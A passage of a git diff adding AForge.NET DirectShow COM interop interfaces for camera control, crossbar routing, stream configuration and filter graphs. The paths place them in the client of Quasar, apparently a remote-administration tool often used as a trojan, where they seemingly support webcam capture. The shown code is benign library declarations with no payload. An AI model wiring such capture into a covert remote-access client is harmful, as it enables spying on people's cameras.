this interface, query the filter that controls the camera. + /// + [ComImport, + Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCameraControl + { + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRange( + [In] CameraControlProperty Property, + [Out] out int pMin, + [Out] out int pMax, + [Out] out int pSteppingDelta, + [Out] out int pDefault, + [Out] out CameraControlFlags pCapsFlags + ); + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Set( + [In] CameraControlProperty Property, + [In] int lValue, + [In] CameraControlFlags Flags + ); + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives a member of the CameraControlFlags enumeration. + /// The returned value indicates whether the setting is controlled manually or automatically. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Get( + [In] CameraControlProperty Property, + [Out] out int lValue, + [Out] out CameraControlFlags Flags + ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs new file mode 100755 index 0000000..b67fc09 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs @@ -0,0 +1,88 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +using System; +using System.Runtime.InteropServices; + +namespace AForge.Video.DirectShow.Internals +{ + /// + /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCrossbar + { + /// + /// Retrieves the number of input and output pins on the crossbar filter. + /// + /// + /// Variable that receives the number of output pins. + /// Variable that receives the number of input pins. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); + + /// + /// Queries whether a specified input pin can be routed to a specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Routes an input pin to an output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of the input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Route( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Retrieves the input pin that is currently routed to the specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); + + /// + /// Retrieves information about a specified pin. + /// + /// + /// Specifies the direction of the pin. Use one of the following values. + /// Specifies the index of the pin. + /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. + /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_CrossbarPinInfo( + [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, + [In] int pinIndex, + [Out] out int pinIndexRelated, + [Out] out PhysicalConnectorType physicalType ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs new file mode 100755 index 0000000..e72f06e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs @@ -0,0 +1,74 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface sets the output format on certain capture and compression filters, + /// for both audio and video. + /// + /// + [ComImport, + Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMStreamConfig + { + /// + /// Set the output format on the pin. + /// + /// + /// Media type to set. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the audio or video stream's format. + /// + /// + /// Retrieved media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); + + /// + /// Retrieve the number of format capabilities that this pin supports. + /// + /// + /// Variable that receives the number of format capabilities. + /// Variable that receives the size of the configuration structure in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNumberOfCapabilities( out int count, out int size ); + + /// + /// Retrieve a set of format capabilities. + /// + /// + /// Specifies the format capability to retrieve, indexed from zero. + /// Retrieved media type. + /// Byte array, which receives information about capabilities. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetStreamCaps( + [In] int index, + [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, + [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps + ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs new file mode 100755 index 0000000..cb57dfe --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs @@ -0,0 +1,112 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface controls certain video capture operations such as enumerating available + /// frame rates and image orientation. + /// + /// + [ComImport, + Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMVideoControl + { + /// + /// Retrieves the capabilities of the underlying hardware. + /// + /// + /// Pin to query capabilities from. + /// Get capabilities of the specified pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); + + /// + /// Sets the video control mode of operation. + /// + /// + /// The pin to set the video control mode on. + /// Value specifying a combination of the flags to set the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); + + /// + /// Retrieves the video control mode of operation. + /// + /// + /// The pin to retrieve the video control mode from. + /// Gets combination of flags, which specify the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); + + /// + /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. + /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested + /// because of bandwidth availability. This is only available during video streaming. + /// + /// + /// The pin to retrieve the frame rate from. + /// Gets frame rate in frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); + + /// + /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections + /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth + /// availability. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out long maxAvailableFrameRate ); + + /// + /// Retrieves a list of available frame rates. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Number of elements in the list of frame rates. + /// Array of frame rates in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFrameRateList( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out int listSize, + [Out] out IntPtr frameRate ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs new file mode 100755 index 0000000..3c03a31 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs @@ -0,0 +1,161 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IBaseFilter interface provides methods for controlling a filter. + /// All DirectShow filters expose this interface + /// + /// + [ComImport, + Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IBaseFilter + { + // --- IPersist Methods + + /// + /// Returns the class identifier (CLSID) for the component object. + /// + /// + /// Points to the location of the CLSID on return. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetClassID( [Out] out Guid ClassID ); + + // --- IMediaFilter Methods + + /// + /// Stops the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Pauses the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Runs the filter. + /// + /// + /// Reference time corresponding to stream time 0. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( long start ); + + /// + /// Retrieves the state of the filter (running, stopped, or paused). + /// + /// + /// Time-out interval, in milliseconds. + /// Pointer to a variable that receives filter's state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int milliSecsTimeout, [Out] out int filterState ); + + /// + /// Sets the reference clock for the filter or the filter graph. + /// + /// + /// Pointer to the clock's IReferenceClock interface, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IntPtr clock ); + + /// + /// Retrieves the current reference clock. + /// + /// + /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IntPtr clock ); + + // --- IBaseFilter Methods + + /// + /// Enumerates the pins on this filter. + /// + /// + /// Address of a variable that receives a pointer to the IEnumPins interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumPins( [Out] out IEnumPins enumPins ); + + /// + /// Retrieves the pin with the specified identifier. + /// + /// + /// Pointer to a constant wide-character string that identifies the pin. + /// Address of a variable that receives a pointer to the pin's IPin interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); + + /// + /// Retrieves information about the filter. + /// + /// + /// Pointer to FilterInfo structure. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryFilterInfo( [Out] out FilterInfo filterInfo ); + + /// + /// Notifies the filter that it has joined or left the filter graph. + /// + /// + /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL + /// if the filter is leaving the graph. + /// String that specifies a name for the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Retrieves a string containing vendor information. + /// + /// + /// Receives a string containing the vendor information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs new file mode 100755 index 0000000..4ef802a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs @@ -0,0 +1,192 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface builds capture graphs and other custom filter graphs. + /// + /// + [ComImport, + Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICaptureGraphBuilder2 + { + /// + /// Specify filter graph for the capture graph builder to use. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFiltergraph( [In] IGraphBuilder graphBuilder ); + + /// + /// Retrieve the filter graph that the builder is using. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); + + /// + /// Create file writing section of the filter graph. + /// + /// + /// GUID that represents either the media subtype of the output or the + /// class identifier (CLSID) of a multiplexer filter or file writer filter. + /// Output file name. + /// Receives the multiplexer's interface. + /// Receives the file writer's IFileSinkFilter interface. Can be NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOutputFileName( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [Out] out IBaseFilter baseFilter, + [Out] out IntPtr fileSinkFilter + ); + + /// + /// Searche the graph for a specified interface, starting from a specified filter. + /// + /// + /// GUID that specifies the search criteria. + /// GUID that specifies the major media type of an output pin, or NULL. + /// interface of the filter. The method begins searching from this filter. + /// Interface identifier (IID) of the interface to locate. + /// Receives found interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindInterface( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In] IBaseFilter baseFilter, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , + [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface + ); + + /// + /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type of the output pin. + /// Starting filter for the connection. + /// Interface of an intermediate filter, such as a compression filter. Can be NULL. + /// Sink filter, such as a renderer or mux filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] IBaseFilter compressor, + [In] IBaseFilter renderer + ); + + /// + /// Set the start and stop times for one or more streams of captured data. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type. + /// interface that specifies which filter to control. + /// Start time. + /// Stop time. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STARTED event notification. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STOPPED event notification. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ControlStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, + [In] long start, + [In] long stop, + [In] short startCookie, + [In] short stopCookie + ); + + /// + /// Preallocate a capture file to a specified size. + /// + /// + /// File name to create or resize. + /// Size of the file to allocate, in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AllocCapFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In] long size + ); + + /// + /// Copy the valid media data from a capture file. + /// + /// + /// Old file name. + /// New file name. + /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. + /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CopyCaptureFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, + [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, + [In] IntPtr callback + ); + + /// + /// + /// + /// + /// Interface on a filter, or to an interface on a pin. + /// Pin direction (input or output). + /// Pin category. + /// Media type. + /// Boolean value that specifies whether the pin must be unconnected. + /// Zero-based index of the pin to retrieve, from the set of matching pins. + /// Interface of the matching pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] PinDirection pinDirection, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, + [In] int index, + [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin + ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs new file mode 100755 index 0000000..81e4b59 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs @@ -0,0 +1,37 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, + /// such as video capture devices, audio capture devices, video compressors, and so forth. + /// + /// + [ComImport, + Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICreateDevEnum + { + /// + /// Creates a class enumerator for a specified device category. + /// + /// + /// Specifies the class identifier of the device category. + /// Address of a variable that receives an IEnumMoniker interface pointer + /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs new file mode 100755 index 0000000..a4c8eb9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs @@ -0,0 +1,71 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is used by applications or other filters to determine + /// what filters exist in the filter graph. + /// + /// + [ComImport, + Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumFilters + { + /// + /// Retrieves the specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to retrieve. + /// Array in which to place interfaces. + /// Actual number of filters placed in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cFilters, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, + [Out] out int filtersFetched ); + + /// + /// Skips a specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cFilters ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// + /// Return's HRESULT error code. + /// + /// + [PreserveSig] + int Clone( [Out] out IEnumFilters enumFilters ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs new file mode 100755 index 0000000..41e1f74 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs @@ -0,0 +1,68 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Enumerates pins on a filter. + /// + /// + [ComImport, + Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumPins + { + /// + /// Retrieves a specified number of pins. + /// + /// + /// Number of pins to retrieve. + /// Array of size cPins that is filled with IPin pointers. + /// Receives the number of pins retrieved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cPins, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, + [Out] out int pinsFetched ); + + /// + /// Skips a specified number of pins in the enumeration sequence. + /// + /// + /// Number of pins to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cPins ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Clone( [Out] out IEnumPins enumPins ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs new file mode 100755 index 0000000..7d21c5f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs @@ -0,0 +1,113 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for building a filter graph. An application can use it to add filters to + /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. + /// + /// + [ComImport, + Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFilterGraph + { + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IntPtr enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs new file mode 100755 index 0000000..b4dbf4c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs @@ -0,0 +1,257 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// This interface extends the and + /// interfaces, which contain methods for building filter graphs. + /// + /// + [ComImport, + Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface IFilterGraph2 + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// 